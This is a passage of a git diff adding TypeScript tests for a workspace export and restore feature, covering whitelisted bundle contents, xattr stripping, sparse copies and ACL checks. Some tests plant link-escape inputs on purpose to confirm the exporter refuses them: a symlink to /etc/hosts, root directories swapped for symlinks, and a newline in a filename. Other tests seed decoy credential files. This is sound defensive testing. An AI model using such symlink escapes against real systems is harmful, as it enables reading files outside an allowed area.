INTO cowork_export_output_ids VALUES(?,?,?)", [exportId, "s1", "x"])).toThrow(); + expect(() => f.db.db.run("INSERT INTO cowork_export_output_ids VALUES(?,?,?)", ["export_unknown", O1, "x"])).toThrow(); + binding.record(exportId, { contentDigest: D, outputIds: { [O1]: "session-one" } }); + expect(() => f.db.db.run("INSERT INTO cowork_export_output_ids VALUES(?,?,?)", [exportId, O2, "session-one"])).toThrow(); // UNIQUE(export_id, session_id) +}); diff --git a/packages/core/test/cowork/export-fixture.ts b/packages/core/test/cowork/export-fixture.ts new file mode 100644 index 000000000..b6259bd13 --- /dev/null +++ b/packages/core/test/cowork/export-fixture.ts @@ -0,0 +1,169 @@ +// Shared fixture for the export writer and restore tests: a REAL runtime-state db, a real `CoworkVolumes` over two sparse +// images in a temp home, a pinned workspace at rest, a populated shared tree, and the test-side ports (the read-only image +// door, the identity re-recorder) that production does not supply. Nothing here touches a real home or the real Keychain. +import { closeSync, constants, fstatSync, mkdirSync, mkdtempSync, openSync, readFileSync, realpathSync, rmSync, writeFileSync, writeSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { spawnSync } from "node:child_process"; +import { CoworkRepository } from "../../src/cowork/repository"; +import { CoworkVolumes, RAW_VOLUME_MIN_BYTES, type CoworkVolumeAuthority, type CoworkVolumeRequest, type VolumePurpose } from "../../src/cowork/volumes"; +import type { CoworkVolumeFilesystemAuthority, VolumeFilesystemPlan, VolumeFilesystemReceipt } from "../../src/cowork/volume-filesystem"; +import type { CoworkVolumeBackup } from "../../src/cowork/volume-backup"; +import { CoworkImagePins } from "../../src/cowork/images"; +import { CoworkExports } from "../../src/cowork/exports"; +import { SqliteExportContentBinding } from "../../src/cowork/export-binding"; +import { CoworkWorkspaceExporter, type CoworkExportContentBinding, type CoworkExportImageDoor, type CoworkExportWriterPorts } from "../../src/cowork/export-writer"; +import { createCoworkWorkspaceRestorer, type CoworkRestoreApproval, type CoworkRestoreConfirmation, type CoworkRestoreIdentityPort, type CoworkRestorePorts } from "../../src/cowork/restore-bundle"; +import { CoworkLifecycleError, type CoworkLifecycleAuthority, type LifecycleFailure } from "../../src/cowork/storage-lifecycle"; +import { openRuntimeStateDb, type RuntimeStateDb } from "../../src/runtime-state/db"; + +export const PROOF = {}; +export const A = "a".repeat(64), B = "b".repeat(64); +const cleanup: Array<() => void> = []; +export function runCleanup(): void { cleanup.splice(0).reverse().forEach(fn => { try { fn(); } catch { /* best effort */ } }); } +export const onCleanup = (fn: () => void): void => { cleanup.push(fn); }; + +export const SECRET = "SECRET-DECOY-must-never-be-exported"; +export const BACKUP_XATTR = "com.apple.metadata:com_apple_backup_excludeItem"; + +export function setXattr(path: string, name: string, value: string): void { + const result = spawnSync("/usr/bin/xattr", ["-w", name, value, path]); + if (result.status !== 0) throw new Error("xattr failed"); +} +export function listXattrs(path: string): string[] { + const result = spawnSync("/usr/bin/xattr", [path], { encoding: "utf8" }); + return result.stdout.split("\n").map(line => line.trim()).filter(Boolean); +} +/** Write `text` into an image at an offset, without changing its length. */ +export function poke(path: string, offset: number, text: string): void { + const fd = openSync(path, constants.O_RDWR); try { writeSync(fd, Buffer.from(text), 0, text.length, offset); } finally { closeSync(fd); } +} + +const receiptFor = (plan: VolumeFilesystemPlan): VolumeFilesystemReceipt => ({ ...plan, volumes: plan.volumes.map(v => ({ ...v, journalReplayed: false, journalReplay: "none", filesystemFeatures: [...plan.ext4Features], transientFilesystemFeatures: [], fullReadOnlyCheck: plan.checkMode === "full-read-only", filesystemType: "ext4", filesystemUUID: v.expectedFilesystemUUID, flushConfirmed: true, checked: true })) }); + +export async function fixture(options: { ready?: boolean; pin?: boolean; backupFails?: boolean } = {}) { + const base = realpathSync(mkdtempSync(join(tmpdir(), "winter-content-out-"))); + const home = join(base, "home"); mkdirSync(home, { mode: 0o700 }); + const destination = join(base, "exports"); mkdirSync(destination, { mode: 0o700 }); + const db: RuntimeStateDb = openRuntimeStateDb(home), repo = new CoworkRepository(db); + cleanup.push(() => { db.close(); rmSync(base, { recursive: true, force: true }); }); + const homeId = repo.homeIdentity(); + const made = repo.create({ principalId: "fixture-user", requestId: "create" }, { + ownership: "project", title: "Content-out fixture", sources: [{ kind: "folder", label: "Fixture", access: "read-write", detail: { grantRef: "grant", rootIdentity: "root" } }], + ceiling: { toolClasses: [], hostServices: [], connectors: [], network: "none" }, + }); + const workspaceId = made.workspaceId; + const excluded = new Set(), key = (fd: number) => { const st = fstatSync(fd); return `${st.dev}:${st.ino}`; }; + let backupFails = options.backupFails === true; + const backup: CoworkVolumeBackup = { + excludeItem: (_p, fd) => { excluded.add(key(fd)); }, + verifyItemExcluded: (_p, fd) => !backupFails && excluded.has(key(fd)), + verifyDescriptorExcluded: fd => !backupFails && excluded.has(key(fd)), + }; + const volumeAuthority: CoworkVolumeAuthority = { authorize: (_a, input) => input.proof === PROOF, verifyStopped: () => true }; + const request: CoworkVolumeRequest = { workspaceId, proof: PROOF, owner: { controllerInstanceId: "c1", workerInstanceId: "w1", incarnationId: "i1", leaseEpoch: 1, runtimeImageDigest: A } }; + const sealed = {}, native: CoworkVolumeFilesystemAuthority = { authorize: r => r.proof === PROOF, authorizeJournalReplay: r => r.proof === PROOF, verifyPreviousReplayStopped: () => true, verifyReceipt: (_r, _plan, _receipt, proof) => proof === sealed }; + const volumes = new CoworkVolumes(db, home, volumeAuthority, backup, undefined, native); + volumes.plan(request, { data: RAW_VOLUME_MIN_BYTES, environment: RAW_VOLUME_MIN_BYTES }); volumes.materialize(request); + if (options.ready !== false) { + // The real path to a ready, unowned pair: claim, format and confirm through the volume layer, then a confirmed stop. + volumes.claim(request); + const plan = volumes.prepareFilesystems(request); + volumes.confirmFilesystems(request, receiptFor(plan), sealed); + volumes.release(request, { confirmationId: "stop-fixture", proof: PROOF }); + } + db.db.run("UPDATE cowork_workspaces SET power='stopped' WHERE workspace_id=?", [workspaceId]); + const dir = join(home, "cowork", "workspaces", workspaceId); + const image = (purpose: VolumePurpose) => join(dir, purpose === "data" ? "data.ext4" : "env.ext4"); + // Distinct, recognisable bytes in each image, a hole in the middle, and the sticky exclusion + a second xattr on the source. + poke(image("data"), 8192, "DATA-IMAGE-BYTES"); poke(image("data"), RAW_VOLUME_MIN_BYTES - 64, "DATA-TAIL"); + poke(image("environment"), 4096, "ENV-IMAGE-BYTES"); + for (const purpose of ["data", "environment"] as const) { setXattr(image(purpose), BACKUP_XATTR, "bplist-fixture"); setXattr(image(purpose), "com.example.fixture", "x"); } + + const shared = join(dir, "shared"); + const put = (relative: string, body: string | Buffer) => { const path = join(shared, relative); mkdirSync(join(path, ".."), { recursive: true, mode: 0o700 }); writeFileSync(path, body, { mode: 0o600 }); return path; }; + put("instructions/WINTER.md", "# guidance\n"); put("memory/notes.md", "- remembered\n"); put("memory/deep/er/fact.txt", "deep\n"); + put("outputs/session-one/report.pdf", Buffer.from([0x25, 0x50, 0x44, 0x46, 0, 1, 2, 3])); put("outputs/session-one/empty.txt", ""); + // Decoys that must never reach a bundle: not in the whitelist, whatever their names. + put("secret.txt", SECRET); put("notes/outside-roots.txt", SECRET); + writeFileSync(join(dir, "bookmark.bin"), SECRET); writeFileSync(join(dir, "credentials.json"), JSON.stringify({ token: SECRET })); + writeFileSync(join(home, "runtimes", "decoy-secret.txt"), SECRET); + + const authority: CoworkLifecycleAuthority = { authorize: (_action, _ws, _home, proof) => proof === PROOF }; + const pins = new CoworkImagePins(db, authority, { compatible: () => true }); + if (options.pin !== false) pins.pin(workspaceId, { baseImageDigest: A, runtimeImageDigest: B }, PROOF); + let tick = 0, n = 0; + const exportsRecords = new CoworkExports(db, authority, () => `2026-10-18T00:00:${String(tick++ % 60).padStart(2, "0")}.000Z`, () => `export_fixture_${++n}`); + + const opened: string[] = []; + const door: CoworkExportImageDoor = { + // What the production door will do on a pinned descriptor: identity, 0600, one link, the recorded size, the sticky exclusion. + openStopped(id, purpose, proof) { + if (proof !== PROOF) throw new Error("denied"); + const row = db.db.query, [string, string]>("SELECT * FROM cowork_volumes WHERE workspace_id=? AND purpose=?").get(id, purpose)!; + if (row.owner_json !== null) throw new Error("owned"); + const fd = openSync(image(purpose), constants.O_RDONLY | constants.O_NOFOLLOW | constants.O_NONBLOCK); + const st = fstatSync(fd, { bigint: true }); + if (String(st.dev) !== row.device || String(st.ino) !== row.inode || st.nlink !== 1n || Number(st.mode & 0o7777n) !== 0o600 || Number(st.size) !== row.capacity_bytes || !backup.verifyDescriptorExcluded(fd)) { closeSync(fd); throw new Error("not the recorded image"); } + opened.push(purpose); + return { fd, capacityBytes: row.capacity_bytes, close: () => closeSync(fd) }; + }, + }; + let identityCalls = 0, identityFails = false; + const identity: CoworkRestoreIdentityPort = { + // The diff the volume owner will write as `CoworkVolumes.reidentifyRestored`: compare-and-swap on the old identity. + rerecord(change) { + identityCalls++; + if (identityFails) throw new Error("identity store down"); + const result = db.db.run("UPDATE cowork_volumes SET device=?,inode=?,uid=?,mode=?,updated_at=? WHERE volume_id=? AND device IS ? AND inode IS ?", + [change.next.device, change.next.inode, change.next.uid, change.next.mode, new Date().toISOString(), change.volumeId, change.expected?.device ?? null, change.expected?.inode ?? null]); + if (result.changes !== 1) throw new Error("identity compare-and-swap lost"); + // The ready history in the filesystem journal is bound to the file's identity (volumes.ts `record`), so a stand-in must + // rebind it or `CoworkVolumes` refuses every call with recovery_required. WHICH the real method does (rebind, or force a + // fresh read-only probe of the restored image) is the volume owner's call; the lane report recommends the probe. + const row = db.db.query, [string]>("SELECT filesystem_journal_json AS j FROM cowork_volumes WHERE volume_id=?").get(change.volumeId)!; + const journal = JSON.parse(row.j); + const rebind = (document: any) => { for (const volume of document?.volumes ?? []) if (volume.volumeId === change.volumeId) volume.identity = { ...change.next }; }; + rebind(journal.plan); rebind(journal.receipt); rebind(journal.previousReady?.plan); rebind(journal.previousReady?.receipt); + db.db.run("UPDATE cowork_volumes SET filesystem_journal_json=? WHERE volume_id=?", [JSON.stringify(journal), change.volumeId]); + }, + }; + const proofs = { PROOF }; + const checkpoints: Array<(phase: string) => void | Promise> = []; + const checkpoint = async (phase: string) => { for (const fn of checkpoints) await fn(phase); }; + const syncCheckpoint = (phase: string) => { for (const fn of checkpoints) fn(phase); }; + // The real binding over migration 20's tables. `bound` lets a test read or tamper with what the database holds. + const binding: CoworkExportContentBinding = new SqliteExportContentBinding(db); + const bound = { + get: (id: string) => binding.read(id), + set: (id: string, value: { contentDigest: string; outputIds: Record }) => { + db.db.run("DELETE FROM cowork_export_output_ids WHERE export_id=?", [id]); db.db.run("UPDATE cowork_exports SET content_digest=? WHERE export_id=?", [value.contentDigest, id]); + for (const [opaque, session] of Object.entries(value.outputIds)) db.db.run("INSERT INTO cowork_export_output_ids VALUES(?,?,?)", [id, opaque, session]); + }, + clear: () => { db.db.run("DELETE FROM cowork_export_output_ids"); db.db.run("UPDATE cowork_exports SET content_digest=NULL"); }, + }; + const writerPorts: CoworkExportWriterPorts = { exports: exportsRecords, rs: db, home, images: door, binding, checkpoint }; + const confirmations: CoworkRestoreConfirmation[] = []; + let answer: boolean | (() => boolean | Promise) = true; + const approval: CoworkRestoreApproval = { confirm: async request => { confirmations.push(request); return typeof answer === "function" ? answer() : answer; } }; + const restorePorts: CoworkRestorePorts = { exports: exportsRecords, rs: db, home, backup, identity, approval, binding, checkpoint, syncCheckpoint }; + return { + base, home, homeId, db, repo, workspaceId, dir, destination, image, shared, volumes, request, backup, excluded, authority, pins, exportsRecords, door, opened, + writerPorts, restorePorts, identity, binding, bound, confirmations, proofs, checkpoints, + exporter: (extra: Partial = {}) => new CoworkWorkspaceExporter({ ...writerPorts, ...extra }), + restorer: (extra: Partial = {}) => createCoworkWorkspaceRestorer({ ...restorePorts, ...extra }), + setAnswer: (value: typeof answer) => { answer = value; }, + failIdentity: (value: boolean) => { identityFails = value; }, + identityCalls: () => identityCalls, + breakBackup: (value: boolean) => { backupFails = value; }, + put, read: (path: string) => readFileSync(path), + exportOnce: (name?: string) => new CoworkWorkspaceExporter({ ...writerPorts }).export({ workspaceId, destinationParent: destination, name, proof: PROOF }), + }; +} +export type Fixture = Awaited>; + +export async function failsWith(promise: Promise | (() => unknown), code: LifecycleFailure): Promise { + let error: unknown; + try { await (typeof promise === "function" ? promise() : promise); } catch (caught) { error = caught; } + if (!(error instanceof CoworkLifecycleError) || error.code !== code) throw new Error(`expected ${code}, got ${error instanceof CoworkLifecycleError ? error.code : String(error)}`); +} diff --git a/packages/core/test/cowork/export-fs.ts b/packages/core/test/cowork/export-fs.ts new file mode 100644 index 000000000..213d6c746 --- /dev/null +++ b/packages/core/test/cowork/export-fs.ts @@ -0,0 +1,6 @@ +// Re-exports node:fs plus two tiny test-only helpers (a FIFO and a rename), kept out of the test files so their text stays plain. +import { spawnSync } from "node:child_process"; +import { renameSync } from "node:fs"; +export * from "node:fs"; +export function mkfifoSyncForTest(path: string): void { const result = spawnSync("/usr/bin/mkfifo", [path]); if (result.status !== 0) throw new Error("mkfifo failed"); } +export async function renameForTest(from: string, to: string): Promise { renameSync(from, to); } diff --git a/packages/core/test/cowork/export-io.test.ts b/packages/core/test/cowork/export-io.test.ts new file mode 100644 index 000000000..724eeac1f --- /dev/null +++ b/packages/core/test/cowork/export-io.test.ts @@ -0,0 +1,126 @@ +import { afterEach, expect, test } from "bun:test"; +import { closeSync, mkdirSync, mkdtempSync, openSync, readFileSync, realpathSync, rmSync, statSync, writeFileSync, writeSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { ExportIoError, attributeNameBuffers, copyImageFile, hasExtendedAttributes, hasWritableAcl, hashDescriptor, listDirectoryAt, openAt, openDirectoryNoFollow, renameDirect, stampDescriptor, stripExtendedAttributes } from "../../src/cowork/export-io"; +import { spawnSync } from "node:child_process"; +import { constants, renameSync, symlinkSync } from "node:fs"; +import { BACKUP_XATTR, listXattrs, setXattr } from "./export-fixture"; + +const dirs: string[] = []; +afterEach(() => { for (const dir of dirs.splice(0)) rmSync(dir, { recursive: true, force: true }); }); +const temp = () => { const dir = realpathSync(mkdtempSync(join(tmpdir(), "winter-export-io-"))); dirs.push(dir); return dir; }; +const MIB = 1024 * 1024; +function image(path: string, size: number) { + const fd = openSync(path, "wx", 0o600); writeSync(fd, Buffer.from("head-bytes"), 0, 10, 8192); writeSync(fd, Buffer.from("tail"), 0, 4, size - 4); closeSync(fd); + setXattr(path, BACKUP_XATTR, "bplist-fixture"); setXattr(path, "com.example.other", "x"); +} + +test("clone and sparse copy produce identical bytes, strip every xattr, and keep owner-only mode", async () => { + const dir = temp(), source = join(dir, "source"); image(source, 8 * MIB); + const fd = openSync(source, "r"); + try { + expect(hasExtendedAttributes(fd)).toBe(true); + expect(await copyImageFile(fd, join(dir, "clone"))).toBe("clone"); + expect(await copyImageFile(fd, join(dir, "sparse"), { allowClone: false })).toBe("sparse"); + for (const name of ["clone", "sparse"]) { + expect(readFileSync(join(dir, name)).equals(readFileSync(source))).toBe(true); + expect(listXattrs(join(dir, name))).toEqual([]); + expect(statSync(join(dir, name)).mode & 0o777).toBe(0o600); + } + // A destination that exists is never opened for writing: EEXIST, content untouched. + writeFileSync(join(dir, "taken"), "mine"); + await expect(copyImageFile(fd, join(dir, "taken"))).rejects.toThrow(); + await expect(copyImageFile(fd, join(dir, "taken"), { allowClone: false })).rejects.toThrow(); + expect(readFileSync(join(dir, "taken"), "utf8")).toBe("mine"); + } finally { closeSync(fd); } +}); + +test("a sparse copy keeps holes in a large file instead of writing zeros", async () => { + const dir = temp(), source = join(dir, "source"); image(source, 64 * MIB); + const fd = openSync(source, "r"); + try { + await copyImageFile(fd, join(dir, "sparse"), { allowClone: false }); + const copy = statSync(join(dir, "sparse")); + expect(copy.size).toBe(64 * MIB); + expect(copy.blocks * 512).toBeLessThan(MIB); // two touched pages, not 64 MiB + expect(readFileSync(join(dir, "sparse")).equals(readFileSync(source))).toBe(true); + } finally { closeSync(fd); } +}); + +test("hashing and stamps: the stream hash is sha256 of exactly the first N bytes, and any write changes the stamp", async () => { + const dir = temp(), path = join(dir, "f"); writeFileSync(path, "hello world"); + const fd = openSync(path, "r+"); + try { + expect(await hashDescriptor(fd, 5)).toBe("2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824"); + const before = stampDescriptor(fd); writeSync(fd, Buffer.from("J"), 0, 1, 0); + expect(stampDescriptor(fd)).not.toBe(before); + await expect(hashDescriptor(fd, 1000)).rejects.toThrow(ExportIoError); // a short source is an error, never a silent partial hash + const controller = new AbortController(); controller.abort(); + await expect(hashDescriptor(fd, 5, controller.signal)).rejects.toMatchObject({ reason: "cancelled" }); + // A change that moves only the change time (an xattr or a mode) still changes the stamp. + const beforeMeta = stampDescriptor(fd); await new Promise(resolve => setTimeout(resolve, 20)); setXattr(path, "com.example.b", "1"); + expect(stampDescriptor(fd)).not.toBe(beforeMeta); stripExtendedAttributes(fd); + setXattr(path, "com.example.a", "1"); expect(hasExtendedAttributes(fd)).toBe(true); stripExtendedAttributes(fd); expect(hasExtendedAttributes(fd)).toBe(false); + } finally { closeSync(fd); } +}); + +test("renameDirect: exclusive refuses an existing target, swap exchanges two existing paths atomically", () => { + const dir = temp(); mkdirSync(join(dir, "a")); mkdirSync(join(dir, "b")); writeFileSync(join(dir, "a/f"), "A"); writeFileSync(join(dir, "b/f"), "B"); + expect(() => renameDirect(join(dir, "a"), join(dir, "b"), "exclusive")).toThrow(ExportIoError); + expect(readFileSync(join(dir, "b/f"), "utf8")).toBe("B"); + renameDirect(join(dir, "a"), join(dir, "b"), "swap"); + expect([readFileSync(join(dir, "a/f"), "utf8"), readFileSync(join(dir, "b/f"), "utf8")]).toEqual(["B", "A"]); + expect(() => renameDirect(join(dir, "a"), join(dir, "missing"), "swap")).toThrow(ExportIoError); + renameDirect(join(dir, "a"), join(dir, "c"), "exclusive"); + expect(readFileSync(join(dir, "c/f"), "utf8")).toBe("B"); +}); + +test("extended-attribute names are handled as raw bytes: a name that is not valid UTF-8 is passed back unchanged", () => { + // APFS refuses to create such a name, so the splitting that feeds fremovexattr is tested directly. + const list = Buffer.concat([Buffer.from([0x61, 0xff, 0xfe, 0x62, 0]), Buffer.from("plain\0"), Buffer.from([0xc3, 0x28, 0])]); + const names = attributeNameBuffers(list); + expect(names.map(name => [...name])).toEqual([[0x61, 0xff, 0xfe, 0x62, 0], [...Buffer.from("plain\0")], [0xc3, 0x28, 0]]); + expect(Buffer.concat(names).equals(list)).toBe(true); + expect(attributeNameBuffers(Buffer.alloc(0))).toEqual([]); +}); + +test("a held directory cannot be redirected: openat and listing follow the descriptor, not the path, and links are refused", () => { + const dir = temp(); mkdirSync(join(dir, "root")); mkdirSync(join(dir, "root/a")); writeFileSync(join(dir, "root/a/file"), "original"); writeFileSync(join(dir, "root/top"), "t"); + mkdirSync(join(dir, "decoy")); writeFileSync(join(dir, "decoy/file"), "DECOY"); symlinkSync(join(dir, "decoy"), join(dir, "root/link")); + const root = openDirectoryNoFollow(join(dir, "root")); + try { + expect(listDirectoryAt(root)).toEqual(["a", "link", "top"]); + expect(listDirectoryAt(root)).toEqual(["a", "link", "top"]); // a second listing of the same descriptor is not empty + const held = openAt(root, "a", constants.O_RDONLY | constants.O_DIRECTORY); + // The path is swapped for the decoy; the held descriptors still see the original. + renameSync(join(dir, "root/a"), join(dir, "moved-a")); symlinkSync(join(dir, "decoy"), join(dir, "root/a")); + expect(listDirectoryAt(held)).toEqual(["file"]); + const file = openAt(held, "file", constants.O_RDONLY); expect(readFileSync(`/dev/fd/${file}`, "utf8")).toBe("original"); closeSync(file); closeSync(held); + expect(() => openAt(root, "a", constants.O_RDONLY | constants.O_DIRECTORY)).toThrow(ExportIoError); // now a link: refused + expect(() => openAt(root, "link", constants.O_RDONLY)).toThrow(ExportIoError); + for (const bad of ["", ".", "..", "a/b", "a\0b"]) expect(() => openAt(root, bad, constants.O_RDONLY)).toThrow(ExportIoError); + } finally { closeSync(root); } + expect(() => openDirectoryNoFollow(join(dir, "root/link"))).toThrow(); // a final symlink is refused +}); + +test("a destination ACL that lets another principal add files or delete children is detected, a read-only one is not", () => { + const dir = temp(); + expect(hasWritableAcl(dir)).toBe(false); + expect(spawnSync("/bin/chmod", ["+a", "everyone allow read,list", dir]).status).toBe(0); + expect(hasWritableAcl(dir)).toBe(false); + expect(spawnSync("/bin/chmod", ["+a", "everyone allow add_file", dir]).status).toBe(0); + expect(hasWritableAcl(dir)).toBe(true); + const other = temp(); expect(spawnSync("/bin/chmod", ["+a", "everyone allow delete_child", other]).status).toBe(0); + expect(hasWritableAcl(other)).toBe(true); + expect(hasWritableAcl(join(dir, "does-not-exist"))).toBe(false); // no path, no ACL: the caller's own existence check judges it + // A DENY entry grants nothing. + const denying = temp(); expect(spawnSync("/bin/chmod", ["+a", "everyone deny delete_child,add_file", denying]).status).toBe(0); + expect(hasWritableAcl(denying)).toBe(false); +}); + +test("a path whose ACL cannot be read is not reported safe", () => { + const parent = temp(), child = join(parent, "child"); mkdirSync(child); + require("node:fs").chmodSync(parent, 0o000); + try { expect(hasWritableAcl(child)).toBe(true); } finally { require("node:fs").chmodSync(parent, 0o700); } +}); diff --git a/packages/core/test/cowork/export-writer.test.ts b/packages/core/test/cowork/export-writer.test.ts new file mode 100644 index 000000000..02cafa459 --- /dev/null +++ b/packages/core/test/cowork/export-writer.test.ts @@ -0,0 +1,307 @@ +// The `.winterworkspace` writer. Each rule is pinned to the document sentence it enforces, and each guard has a test that +// fails when the guard is removed (the mutation scripts live with the lane's scratch notes). +import { afterEach, expect, setDefaultTimeout, test } from "bun:test"; +import { chmodSync, closeSync, existsSync, linkSync, lstatSync, mkdirSync, mkfifoSyncForTest, openSync, readFileSync, readdirSync, statSync, symlinkSync, writeFileSync } from "./export-fs"; +import { join } from "node:path"; +import { BUNDLE_IMAGE_FILES, DEFAULT_BUNDLE_LIMITS, serializeIntegrity, verifyBundle, walkRegularFilesAt } from "../../src/cowork/export-bundle"; +import { ExportIoError, hasExtendedAttributes, openDirectoryNoFollow } from "../../src/cowork/export-io"; +import { EXPORT_PLAINTEXT_DISCLOSURE } from "../../src/cowork/exports"; +import { CoworkLifecycleError, canonicalJson, sha256Hex } from "../../src/cowork/storage-lifecycle"; +import { A, BACKUP_XATTR, PROOF, SECRET, failsWith, fixture, listXattrs, onCleanup, poke, runCleanup, setXattr, type Fixture } from "./export-fixture"; + +setDefaultTimeout(60_000); +afterEach(runCleanup); +void onCleanup; + +const entriesOf = (dir: string): string[] => readdirSync(dir, { recursive: true }).map(String).sort(); +const bundleFiles = (path: string) => entriesOf(path).filter(entry => lstatSync(join(path, entry)).isFile()); +const record = (f: Fixture, id: string) => f.db.db.query, [string]>("SELECT * FROM cowork_exports WHERE export_id=?").get(id)!; + +test("an export is a folder bundle holding exactly the whitelist: the recorded manifest bytes, an integrity index, both images and the three shared roots", async () => { + const f = await fixture(); + const result = await f.exportOnce("my-backup"); + const opaqueId = Object.keys(f.bound.get(result.exportId)!.outputIds)[0]!; + expect(opaqueId).toMatch(/^s[0-9a-f]{16}$/); + expect(result.path).toBe(join(f.destination, "my-backup.winterworkspace")); + expect(result.disclosure).toBe(EXPORT_PLAINTEXT_DISCLOSURE); + expect(bundleFiles(result.path)).toEqual(["data.ext4", "env.ext4", "integrity.json", "manifest.json", + "shared/instructions/WINTER.md", "shared/memory/deep/er/fact.txt", "shared/memory/notes.md", `shared/outputs/${opaqueId}/empty.txt`, `shared/outputs/${opaqueId}/report.pdf`]); + // The manifest is the RECORD, byte for byte: validateImport digests it against the row. + const row = record(f, result.exportId); + expect(readFileSync(join(result.path, "manifest.json"), "utf8")).toBe(row.manifest_json); + expect(sha256Hex(readFileSync(join(result.path, "manifest.json"), "utf8"))).toBe(row.manifest_digest); + expect(row.state).toBe("complete"); + // Images are byte-identical to the stopped source; the index verifies end to end. + for (const [file, purpose] of [["data.ext4", "data"], ["env.ext4", "environment"]] as const) expect(Buffer.compare(readFileSync(join(result.path, file)), readFileSync(f.image(purpose)))).toBe(0); + const verified = await verifyBundle(result.path); + expect(verified.integrity.exportId).toBe(result.exportId); + expect(verified.files.size).toBe(8); + // The database-side binding holds the digest of integrity.json and the only copy of the session ids. + expect(verified.integrityDigest).toBe(result.contentDigest); expect(f.bound.get(result.exportId)).toEqual({ contentDigest: result.contentDigest, outputIds: { [opaqueId]: "session-one" } }); + for (const file of bundleFiles(result.path)) expect(file).not.toContain("session-one"); + expect(readFileSync(join(result.path, "integrity.json"), "utf8")).not.toContain("session-one"); + verified.close(); + // No absolute path, home path or host name in anything the bundle states about itself. + for (const name of ["manifest.json", "integrity.json"]) { const text = readFileSync(join(result.path, name), "utf8"); expect(text).not.toContain(f.base); expect(text).not.toContain("/Users"); } + // Owner-only, nothing executable, and backup-eligible: the original's sticky exclusion and xattrs did not travel. + for (const file of bundleFiles(result.path)) expect(statSync(join(result.path, file)).mode & 0o777).toBe(0o600); + for (const image of BUNDLE_IMAGE_FILES) { expect(listXattrs(join(result.path, image))).toEqual([]); const fd = openSync(join(result.path, image), "r"); try { expect(hasExtendedAttributes(fd)).toBe(false); } finally { closeSync(fd); } } + expect(listXattrs(f.image("data"))).toContain(BACKUP_XATTR); // the source keeps its own + expect(readdirSync(f.destination)).toEqual(["my-backup.winterworkspace"]); +}); + +test("opaque output ids are random per export: never derived from the session id, never repeated across exports", async () => { + const f = await fixture(); + const first = await f.exportOnce("one"), second = await f.exportOnce("two"); + const a = Object.keys(f.bound.get(first.exportId)!.outputIds)[0]!, b = Object.keys(f.bound.get(second.exportId)!.outputIds)[0]!; + expect(a).toMatch(/^s[0-9a-f]{16}$/); expect(b).toMatch(/^s[0-9a-f]{16}$/); expect(a).not.toBe(b); + // A scripted mint shows the mapper redraws a collision and refuses a malformed id. + const { OutputIdMapper } = await import("../../src/cowork/export-bundle"); + const draws = ["s0000000000000000", "s0000000000000000", "short", "s1111111111111111"]; let n = 0; + const mapper = new OutputIdMapper(() => draws[n++]!); + expect(mapper.toBundle("one/x")).toBe("s0000000000000000/x"); expect(mapper.toBundle("two/y")).toBe("s1111111111111111/y"); expect(mapper.toBundle("one/z")).toBe("s0000000000000000/z"); + expect(mapper.reverse).toEqual({ s0000000000000000: "one", s1111111111111111: "two" }); expect(mapper.toBundle("loose.txt")).toBe("f/loose.txt"); +}); + +test("images are cloned where the volume allows and sparse-copied otherwise, with identical bytes and no xattrs", async () => { + const f = await fixture(); + const cloned = await f.exportOnce("clone"); + expect(cloned.imageCopy).toEqual({ data: "clone", environment: "clone" }); + const sparse = await new (await import("../../src/cowork/export-writer")).CoworkWorkspaceExporter({ ...f.writerPorts, allowClone: false }).export({ workspaceId: f.workspaceId, destinationParent: f.destination, name: "sparse", proof: PROOF }); + expect(sparse.imageCopy).toEqual({ data: "sparse", environment: "sparse" }); + expect(statSync(join(sparse.path, "data.ext4")).size).toBe(statSync(f.image("data")).size); + expect(Buffer.compare(readFileSync(join(sparse.path, "data.ext4")), readFileSync(join(cloned.path, "data.ext4")))).toBe(0); + for (const image of BUNDLE_IMAGE_FILES) expect(listXattrs(join(sparse.path, image))).toEqual([]); +}); + +test("nothing outside the whitelist is exported: no authority database, bookmark, credential, decoy file or path", async () => { + const f = await fixture(); + const result = await f.exportOnce("clean"); + for (const file of bundleFiles(result.path)) { + const bytes = readFileSync(join(result.path, file)); + expect([file, bytes.includes(Buffer.from(SECRET))]).toEqual([file, false]); + } + const names = entriesOf(result.path).join("\n"); + for (const forbidden of ["runtime-state", "bookmark", "credentials", "secret.txt", "outside-roots", ".db", "Keychain"]) expect(names).not.toContain(forbidden); +}); + +test("a symlink, hard link or FIFO in a shared root refuses the whole export; the generation is failed and nothing is left behind", async () => { + for (const make of [ + (f: Fixture) => symlinkSync("/etc/hosts", join(f.shared, "outputs/session-one/link")), + (f: Fixture) => linkSync(join(f.shared, "memory/notes.md"), join(f.shared, "memory/notes-hard.md")), + (f: Fixture) => mkfifoSyncForTest(join(f.shared, "outputs/session-one/pipe")), + (f: Fixture) => symlinkSync(join(f.shared, "memory"), join(f.shared, "outputs/loop")), + (f: Fixture) => writeFileSync(join(f.shared, "memory", "bad\nname.md"), "x"), + ]) { + const f = await fixture(); make(f); + await failsWith(f.exportOnce("unsafe"), "bundle_unsafe"); + expect(readdirSync(f.destination)).toEqual([]); + expect(f.db.db.query("SELECT state FROM cowork_exports").all()).toEqual([{ state: "failed" }]); + } + // A shared root that is itself a symlink is refused too, and a root swapped for a link is not followed. + const g = await fixture(); const target = join(g.base, "elsewhere"); mkdirSync(target); writeFileSync(join(target, "x.txt"), SECRET); + const memory = join(g.shared, "memory"); mkdirSync(join(g.base, "moved")); symlinkSync(target, join(g.shared, "outputs-link")); + await (await import("./export-fs")).renameForTest(memory, join(g.base, "moved/memory")); symlinkSync(target, memory); + await failsWith(g.exportOnce("rootlink"), "bundle_unsafe"); + expect(readdirSync(g.destination)).toEqual([]); +}); + +test("a shared folder that is not where the record says it is, because a component was replaced by a link, is refused", async () => { + const f = await fixture(); const moved = join(f.base, "moved-shared"); + await (await import("./export-fs")).renameForTest(f.shared, moved); symlinkSync(moved, f.shared); + await failsWith(f.exportOnce("moved"), "bundle_unsafe"); + expect(readdirSync(f.destination)).toEqual([]); +}); + +test("the shared snapshot is two passes: a file that changes between them refuses the export", async () => { + const f = await fixture(); + f.checkpoints.push(phase => { if (phase === "shared-pass-1") writeFileSync(join(f.shared, "memory/notes.md"), "- changed between the passes\n"); }); + await failsWith(f.exportOnce("racy"), "generation_stale"); + expect(readdirSync(f.destination)).toEqual([]); + expect(f.db.db.query("SELECT state FROM cowork_exports").all()).toEqual([{ state: "failed" }]); + // A file that appears or vanishes 